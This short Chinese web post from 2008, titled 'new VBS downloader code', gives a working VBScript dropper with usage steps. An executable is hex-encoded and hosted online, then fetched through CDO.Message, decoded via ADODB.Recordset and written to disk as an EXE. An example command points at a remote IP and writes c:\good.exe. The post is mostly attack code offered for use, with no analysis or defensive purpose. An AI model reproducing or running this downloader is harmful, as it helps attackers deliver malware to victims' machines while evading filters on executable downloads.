新的VBS下载者代码

2008-12-22 11:04 664 0

摘要: 使用方法： 1.exe2hex.vbs 把exe转成十六进制，放到网络上 2.down.vbs http://xxx/demo.htm c:good.exe demo....

关键词： nbsp CreateObject exe Mail set RS arg vbs demo wscript

使用方法： 1.exe2hex.vbs 把exe转成十六进制，放到网络上 2.down.vbs http://xxx/demo.htm c:\good.exe demo.htm内容时用exe2hex.vbs转EXE后获得的 on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit ’code by NetPatch ’cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe Set Mail1 = CreateObject("CDO.Message") Mail1.CreateMHTMLBody arg(0),31 ss= Mail1.HTMLBody Set Mail1 = Nothing Set RS=CreateObject("ADODB.Recordset") L=Len(ss)/2 RS.Fields.Append "m",205,L RS.Open:RS.AddNew RS("m")=ss&ChrB(0) RS.Update ss=RS("m").GetChunk(L) Set s=CreateObject("ADODB.Stream") with s .Mode = 3 .Type = 1 .Open() .Write ss .SaveToFile arg(1),2 end with

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除